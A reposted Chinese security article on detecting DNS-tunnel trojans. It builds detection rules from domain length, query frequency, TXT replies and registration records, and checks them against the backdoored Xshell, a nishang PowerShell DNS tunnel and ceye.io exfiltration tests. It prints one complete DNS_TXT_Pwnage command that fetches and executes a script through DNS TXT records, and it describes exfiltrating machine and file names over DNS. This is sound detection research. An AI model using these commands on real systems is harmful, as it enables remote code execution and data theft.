摘自:http://www.freebuf.com/articles/network/149328.html

通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下:

方向1:特征检测:

检测窃密木马(无需更新和接收指令):     【域名超长 or 频率高】  and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】

检测远控木马(需更新和接收指令):         【域名超长 or 频率高】  and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】

通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):

{【存在txt回包】and 【不存在全域名注册记录】}  or  {【终端无进程对返回的A记录(如有)发起访问】  and 【不存在全域名注册记录】}

方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):

单台机器检测:    域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警

群体事件检测:     A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个)  + B +…  >   多台机器阈值,评测外传数据大小,达到阈值则触发报警

实验验证分析:

为验证此方案的逻辑正确性,笔者实验如下:

Xshell实验验证:

1、直接运行xshell,触发dns行为

2、外传结果抓包:

3、检测逻辑匹配分析:

a)     外传域名超长

b)     频率较高

c)     类型为TXT,有回包

d)     无A记录解析结果,也就无程序对结果发起访问

e)     不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)

结论:窃密木马+远控木马

Powershell dns实验验证:

1、利用powershell构造dns隧道

a)     编写一个最简单的一句话脚本,获取服务列表

b)     使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录

c)     在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)

验证结果,ok

d)     使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。

命令和结果如下:

DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain  txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag

2、外传结果抓包:

使用Microsoft Network Monitor抓包分析

3、检测逻辑匹配分析:

a)     因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名

b)     因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率

c)     类型为TXT,有回包

d)     无A记录解析结果,也就无程序对结果发起访问

e)     此实验场景未覆盖外传数据,所以不涉及注册问题

结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)

利用ceye.io的外传实验验证

1、 少量信息窃取和大量信息窃取

a)     单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名

b)    多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 (代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改):

2、外传结果展示:

a)     单次少量信息窃取外传

b)     多次大量信息窃取

3、检测逻辑匹配分析:

a)     利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)

b)     对解析A记录结果无后续访问

c)     不存在全域名注册记录

结论:窃取数据木马

一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案的更多相关文章

  1. 【Zabbix】大规模监控误报发生时的处理方案

    今天遇到了这样一件事..Zabbix一直在用的数据库突然间崩溃,无法连接了.在down掉的那一时刻开始,zabbix向管理员报了警.然后随之而来的是铺天盖地的所有主机zabbix agent无法连接的 ...

  2. 如何为 SAST 工具设置误报基准?

    许多 SAST 工具都无法避免误报的问题.这些工具经常报告一些实际不存在的漏洞,这种不准确性让安全团队耗费大量时间来对误报进行分类和处理,这时设置误报基准就显得十分必要. 通过设置误报基准,安全团队可 ...

  3. zabbix误报交换机重启

    交换机的sysUpTime是由一个32-bit的counter来计数的,单位是0.01秒,所以最大时间为496天,过了496天就溢出,变成0,然后又重新计算时间,所以zabbix误报. snmpwal ...

  4. Nmap误报1720端口开放的原因

    在使用Nmap扫描服务器开放端口(全连接扫描)时,一直会发现误报1720端口开放,telnet也有时会连接成功.而实际上服务器并未开启此端口.经过查阅资料,确定原因如下: H.323协议在负载中放入了 ...

  5. Myeclipse中误报错误解决办法

    下午写jsp页面的时候,用了一个js文件,拖到MyEclipse下了报错,开始还以为是js文件问题,折腾了半天,后来才知道原来是Myeclipse误报错误.真坑爹啊呀~~ 解决方法: 点击你需要忽略错 ...

  6. python里混淆矩阵 左下角为漏报,右上角为误报

    1为黑样本,0为白样本: Counter({1: 105, 0: 95}) check counter!confusion_matrix:[[83 12(预测值为1,实际为0,误报)] [15(预测值 ...

  7. Prometheus 监控 Kubernetes Job 资源误报的坑

    转载自:https://www.qikqiak.com/post/prometheus-monitor-k8s-job-trap/ 昨天在 Prometheus 课程辅导群里面有同学提到一个问题,是关 ...

  8. 冰蝎动态二进制加密WebShell基于流量侧检测方案

    概述 冰蝎是一款新型动态二进制加密网站工具.目前已经有6个版本.对于webshell的网络流量侧检测,主要有三个思路.一:webshell上传过程中文件还原进行样本分析,检测静态文件是否报毒.二:we ...

  9. centos DNS服务搭建 DNS原理 使用bind搭建DNS服务器 配置DNS转发 配置主从 安装dig工具 DHCP dhclient 各种域名解析记录 mydns DNS动态更新 第三十节课

    centos  DNS服务搭建  DNS原理  使用bind搭建DNS服务器 配置DNS转发 配置主从  安装dig工具  DHCP  dhclient  各种域名解析记录  mydns DNS动态更 ...

随机推荐

  1. 非典型的scala程序及其编译后的结果

    初学Scala Folder structure以及部分代码 watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvY2xldmVyd3lx/font/5a6L5L ...

  2. video_capture模块分析

    1. 对外接口      VideoCaptureModule     控制接口      VideoCaptureDataCallback Vie中的ViECapturer继承,用于响应抓包数据 2 ...

  3. sap abap 对字符串的操作

    替换字段内容 REPLACE [FIRST /ALL OCCURRENCES OF]<STR1>INTO <STR> WITH <STR2>   DATA STR ...

  4. Zorka监控平台的Online reconfiguration基本效果展示

    在上一篇日志中,我简介了Zorka的Online reconfiguration的用法,可是没怎么介绍如何看到在线更改的效果,这里简单说说. 还是以之前的tomcat为例,我们在文件夹zorka\sc ...

  5. Find Blank Cell in Excel

    Click Home > Find & Select > Go To Special. In the Go To Special dialog box, check the Bla ...

  6. BZOJ 1101 莫比乌斯函数+分块

    思路: 题目中的gcd(x,y)=d (x<=a,y<=b)可以转化成 求:gcd(x,y)=1 (1<=x<=a/d 1<=y<=b/d) 设 G(x,y)表示x ...

  7. lucene简单使用demo

    测试结构目录: 1.索引库.分词器 Configuration.java package com.test.www.web.lucene; import java.io.File; import or ...

  8. python的import与from…import的区别

    [转]http://blog.csdn.net/windone0109/article/details/8996184 在python中用import或者from-import来导入相应的模块.模块其 ...

  9. KafkaZookeeper2-ZookeeperClient

    介绍 ZookeeperClient 是 kafka 新写的客户端,它允许用户流水线式(并行)访问 zookeeper. 为什么放弃了 zkClient? zkClient 是一个第三方的客户端. 它 ...

  10. 记一次"未将对象引用设置到对象的实例"问题的排查过程

    最近在给一个老项目做数据对接接口. 背景一 该项目最后更新日期为2006年,使用ASP.NET WebForm..Net2.0.OJB.Castle Avtive Record等.由于是某集团的子系统 ...